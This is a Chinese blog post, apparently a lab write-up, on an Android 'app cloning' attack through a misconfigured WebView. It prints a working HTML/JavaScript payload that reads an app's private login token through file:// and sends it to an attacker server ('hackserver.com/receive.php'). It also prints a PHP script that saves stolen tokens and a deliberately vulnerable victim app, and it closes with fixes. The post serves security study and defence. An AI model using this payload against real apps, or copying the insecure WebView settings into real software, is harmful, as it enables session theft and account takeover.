1. 程式人生 > 其它 >深入挖掘APP克隆實驗

深入挖掘APP克隆實驗

0×00前言

在上一篇文章《WebView域控不嚴格讀取內部私有檔案實驗》中,對webview跨域訪問進行了簡單的實驗,後續決定深入挖掘一下APP克隆,之前文章中講過的這裡也將不再贅述。

0×01實驗環境

基礎環境:win10,Android studio 3,eclipse(androidserver 開發),ubuntu12(hackserver)

模擬器:

要開發APP:AppClone,AttackAPP,StartClone

1、Androidserver

Login.jsp:根據使用者名稱密碼判斷是哪個使用者然後返回一個token給安卓端

Myinfo.jsp:根據token判斷是哪個使用者,然後返回其個人資訊。

Code區域:以上程式碼比較簡單,大家可以自行編寫或在網上找一段改改,這裡就不佔地方了

2、Hackserver

Code區域:

Receve.php主要用來接收APP傳過來的token,並儲存到newfile.txt中。

<?php$data = $_GET["data"];$myfile = fopen("/var/www/appclone/newfile.txt","w") or die("Unable to open file!");fwrite($myfile, $data);fclose($myfile);?>

sendToken.htm用來讀取shared_prefs下儲存的token併發送token到hackserver。

<html><script>var token = "";function iGetInnerText(testStr) {       var resultStr = testStr.replace(/ +/g, ""); //去掉空格       resultStr = testStr.replace(/[ ]/g, "");    //去掉空格       resultStr = testStr.replace(/[rn]/g, ""); //去掉回車換行       return resultStr;    }function loadXMLDoc(){   var arm ="file:///data/data//com.example.test0.appclone/shared_prefs/loginState.xml";   var xmlhttp;   if (window.XMLHttpRequest)    {       xmlhttp=new XMLHttpRequest();    }   xmlhttp.onreadystatechange=function()    {       if (xmlhttp.readyState==4)       {                     token= iGetInnerText(xmlhttp.responseText);                     token= token.substr(token.length-34);                     token= token.substr(0,19);                     document.write(token);                       sendToken();       }    }   xmlhttp.open("GET",arm);   xmlhttp.send(null);}function sendToken(){   var arm = "http://www.hackserver.com/appclone/receive.php?data="+token;    var xmlhttp2;   if (window.XMLHttpRequest)    {       xmlhttp2=new XMLHttpRequest();    }   xmlhttp2.onreadystatechange=function()    {       if (xmlhttp2.readyState==4)       {                     //document.write(xmlhttp2.status);              //document.write(arm);        }    }   xmlhttp2.open("GET",arm);   xmlhttp2.send(null);}loadXMLDoc();</script></html>

3、AppClone

被克隆的APP,mainactivity用於登入,successactivity顯示登入成功後的個人頁面。

Code區域:

mainactivity

/*
* 提示:該行程式碼過長,系統自動註釋不進行高亮。一鍵複製會移除系統註釋 
* <?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"   xmlns:tools="http://schemas.android.com/tools"   android:id="@+id/ll1"   android:layout_width="fill_parent"   android:layout_height="fill_parent"   android:orientation="vertical" >   <TextView android:text="使用者名稱"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <EditText android:id="@+id/username"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <TextView android:text="密碼"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <EditText android:id="@+id/password"       android:layout_width="match_parent"       android:layout_height="wrap_content"/>   <Button android:id="@+id/button"       android:layout_width="wrap_content"       android:layout_height="wrap_content"       android:text="登入"/>   <ScrollView android:id="@+id/scrollView1"       android:layout_width="match_parent"       android:layout_height="wrap_content"       android:layout_weight="1">       <LinearLayout android:id="@+id/ll2"           android:layout_width="match_parent"           android:layout_height="match_parent">           <TextView android:id="@+id/result"               android:layout_width="match_parent"               android:layout_height="wrap_content"               android:layout_weight="1"/>       </LinearLayout>   </ScrollView></LinearLayout>public class MainActivity extends Activity{   private EditText username;   private EditText password;   private Button button;   private Handler handler;   private String result="";   private TextView resultTV;   public  static  final String Intent_key="token";   public  static  final String Intent_url="URL";   private SharedPreferences preferences;   private  String urlInfo ="http://www.androidserver.com:8080/ad/myinfo.jsp?token=";   private SharedPreferences.Editor editor;      @Override   public void onCreate(Bundle savedInstanceState) {       super.onCreate(savedInstanceState);       requestWindowFeature(Window.FEATURE_NO_TITLE);       setContentView(R.layout.activity_main);       //獲取preferences和editor物件       preferences = getSharedPreferences("loginState",MODE_PRIVATE);       editor = preferences.edit();       String token =preferences.getString("token","fail");       Intent intent = new Intent(this,SuccessActivity.class);       Bundle bundle = new Bundle();       if(token.equals("user3_login_success")){           bundle.putString(Intent_key, token);           bundle.putString(Intent_url, urlInfo + token);           intent.putExtra("bundle", bundle);           startActivityForResult(intent,0);       }else if(token.equals("user4_login_success")){           bundle.putString(Intent_key, token);           bundle.putString(Intent_url, urlInfo + token);           intent.putExtra("bundle", bundle);           startActivityForResult(intent,0);       }       username=(EditText)findViewById(R.id.username);       password=(EditText)findViewById(R.id.password);       resultTV=(TextView)findViewById(R.id.result);       button=(Button)findViewById(R.id.button);       button.setOnClickListener(new View.OnClickListener() {           @Override           public void onClick(View arg0) {               if("".equals(username.getText().toString())){                   Toast.makeText(MainActivity.this, "請登入",                           Toast.LENGTH_SHORT).show();                   return;                }                new Thread(new Runnable() {                    @Override                    public void run() {                        login();                        Messagem=handler.obtainMessage();                       handler.sendMessage(m);                    }                }).start();           }       });       handler=new Handler(){           @Override           public void handleMessage(Message msg) {                if(result!=null){                    resultTV.setText(result);                   username.setText("");                   password.setText("");                }                super.handleMessage(msg);           }       };    }      //當從secondActivity中返回時呼叫此函式,清空token   @Override   protected void onActivityResult(int requestCode, int resultCode, Intentdata) {       super.onActivityResult(requestCode, resultCode, data);       if(requestCode==0 && resultCode==RESULT_OK){           Bundle bundle = data.getExtras();           String text =null;           if(bundle!=null)               text=bundle.getString("return");           Log.d("text",text);           editor.remove("token");           editor.commit();       }    }   public void login() {       String target="http://www.androidserver.com:8080/ad/login.jsp";       URL url;       try {           url=new URL(target);           HttpURLConnection urlConn=(HttpURLConnection)url.openConnection();           urlConn.setRequestMethod("POST");           urlConn.setDoInput(true);            urlConn.setDoOutput(true);           urlConn.setUseCaches(false);           urlConn.setInstanceFollowRedirects(true);           urlConn.setRequestProperty("Content-Type",                   "application/x-www-form-urlencoded");           DataOutputStream out=new DataOutputStream(urlConn.getOutputStream());           String param="username="+URLEncoder.encode(username.getText().toString(),"utf-8")                   +"&password="+URLEncoder.encode(password.getText().toString(),"utf-8");           System.out.println(username);           out.writeBytes(param);           out.flush();           out.close();           if(urlConn.getResponseCode()==HttpURLConnection.HTTP_OK){                InputStreamReader in=newInputStreamReader(urlConn.getInputStream());                BufferedReader buffer=newBufferedReader(in);                String inputLine=null;                String token = "";                result = "";               while((inputLine=buffer.readLine())!=null){                    result+=inputLine;                }                in.close();                Intent intent = newIntent(this,SuccessActivity.class);                Bundle bundle = new Bundle();               if(result.indexOf("user3_login_success")!=-1){                    token ="user3_login_success";                }elseif(result.indexOf("user4_login_success")!=-1){                    token ="user4_login_success";                }else{                    return;                }               editor.putString("token",token);                bundle.putString(Intent_key,token);                bundle.putString(Intent_url,urlInfo + token);                editor.commit();               intent.putExtra("bundle", bundle);               startActivityForResult(intent,0);           }           urlConn.disconnect();       } catch (MalformedURLException e) {           e.printStackTrace();       } catch (IOException e) {           e.printStackTrace();       }    }}
*/

successactivity

<?xml version="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"   android:orientation="vertical"   android:layout_width="match_parent"   android:layout_height="match_parent">   <TextView       android:id="@+id/textView"       android:layout_width="fill_parent"       android:layout_height="50dp"       />   <Button       android:id="@+id/button"       android:layout_width="wrap_content"       android:layout_height="wrap_content"       android:hint="點選按鈕返回"       />   <WebView       android:layout_width="match_parent"       android:layout_height="match_parent"       android:id="@+id/webView"       /></LinearLayout>public class SuccessActivity extendsAppCompatActivity {   private Button button=null;   private TextView textView =null;   private WebView webView;   private String url = "";   private String text = "";   private class ButtonListener implements OnClickListener {       @Override       public void onClick(View v) {           switch (v.getId()){                case R.id.button:                    Intent intent =getIntent();                    Bundle bundle =newBundle();                   bundle.putString("return","return fromSuccessActivity!");                    intent.putExtras(bundle);                   setResult(RESULT_OK,intent);                    finish();                    break;           }       }    }   public void initView(){       button= (Button) findViewById(R.id.button);       textView= (TextView) findViewById(R.id.textView);       button.setOnClickListener(                new ButtonListener()       );        textView.setText(text);    }   @Override   protected void onCreate(Bundle savedInstanceState) {       super.onCreate(savedInstanceState);       setContentView(R.layout.activity_success);       webView = findViewById(R.id.webView);        webView.getSettings().setAllowFileAccess(true);       webView.setWebViewClient(new WebViewClient() {           public void onPageFinished(WebView view, String url) {           }       });       WebSettings webSettings = webView.getSettings();       webSettings.setJavaScriptEnabled(true);       //webView.getSettings().setAllowFileAccessFromFileURLs(true);       //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);       Intent intent =getIntent();       Bundle bundle = intent.getBundleExtra("bundle");       String token = bundle.getString(MainActivity.Intent_key);       if(token.equals("user3_login_success")){           text ="張三登入成功";       }else if(token.equals("user4_login_success")){           text ="李四登入成功";       }       url = bundle.getString(MainActivity.Intent_url);       initView();       webView.loadUrl(url);    }}

4、AttackAPP

Httpdownloader負責下載檔案,Fileutil負責寫檔案,整個APP的功能是從hack.com上下載的sendToken.htm儲存到/sdcard/Download/目錄下,下載完成然後在調起被克隆的APP,讓被克隆的APP載入sendToken.htm,從而把token傳送到hackserver伺服器上。

Code區域:以上程式碼比較佔地方,網上也很多,大家可以自己下一些改改就可以了。

5、StartClone

此APP就一個mainactivity,功能是從hackserver獲取newfile.txt中儲存的token,然後帶著token從外部調起APPClone,從而實現克隆。

Code區域:以上程式碼大家可以網上搜搜自己改改就可以了。

0×02 實驗內容

克隆基本思路

User3手機

1、 當啟動AppClone時,先判斷shared_pfres下有沒有使用者登入的token,如果有則直接進行successactivity,如果沒有則在mainactivity中輸入使用者名稱密碼進行登入,登入成功儲存token。這裡使用zhangsan登入。

2、 啟動attackapp,主要功能是下載hackserver上sendToken.htm並儲存到/sdcard/Download/目錄下,等下載完成,對appclone發起外部呼叫,讓successactivity載入/sdcard/Download/sendToken.htm把token傳輸到hackserver上,hackserver收到token後儲存到newfile.txt中。

User4手機

1、 啟動AppClone並使用lisi賬號登入。

2、 啟動startclone,startclone會請求newfile.txt裡的token值,然後使用這個token從外部調起APPClone,直接讓successactivity接收到的token為zhangsan的token,進而登入張三的個人資訊頁,從而實現克隆。

0×03 實驗步驟

1、啟動兩個虛擬機器:

user3是被克隆的手機,裝有兩個app(AppClone,準備被克隆的APP,AttackAPP,發起攻擊的APP)

user4是用來克隆的手機,裝有兩個app(AppClone,準備被克隆的APP,StartClone,開始克隆)

2、啟動user3上的Appclone,並使用zhangsan登入,登入成功後會進入個人資訊頁面

3、啟動user4上的Appclone,並使用lisi登入,登入成功可以看到張三和李四的個人資訊頁面裡的錢是不一樣的。

4、在user3上啟動AttackAPP ,這裡hackserver上的newfile中是沒有資料的

點選開始攻擊後資料被上傳到hackserver,點選檢視檔案內容,可以看到被寫入的token

5、執行startClone後,可以看到user4的手機也變成了張三的登入狀態,克隆成功。

0×04 修改程式碼

1、如果不開啟setJavaScriptEnabled,那麼sendToken.htm將無法執行其中的js程式碼,也就無法將token傳送到hackserver上。

2、本來看文章說是在js中訪問file:///要開啟setAllowFileAccessFromFileURLs(true),但是實驗下來不需要也可以。

3、如果把setAllowUniversalAccessFromFileURLs(true)也註釋掉則token傳輸失敗,也就是說不開啟它則無法把資料傳輸給遠端伺服器。

0×05 實驗中遇到的問題及解決思路

1、 sd卡寫入許可權問題,一開始使用的虛擬機器是安卓8.0在AndroidManifest申請好許可權,但是無論如何也寫入不成功,後來一查發現安卓6.0後需要在程式碼中動態申請許可權,經過嘗試之後發現很程度很容易崩潰,一定是我不懂開發的原因,轉而換成安卓5.1的虛擬機器,直接在AndroidManifest申請許可權就可以了。 2、 未開啟js訪問,無論如何token都不能傳送成功,然後把js刪除發現htm確實被載入了,想到很有可能是這個原因,於是補上了webSettings.setJavaScriptEnabled(true);問題解決了。 3、 網路訪問(下載)需要非同步請求,不然程式也會出問題。

0×06 修復建議

通過實驗發現做到以下幾點,都可以防範:

1、webview不開啟webSettings.setJavaScriptEnabled(true);

2、webview不開啟setAllowUniversalAccessFromFileURLs(true)

還有之前文章中提到的:

1、 設定activity不可被匯出

2、 禁止WebView 使用 File 協議,而且是明確禁止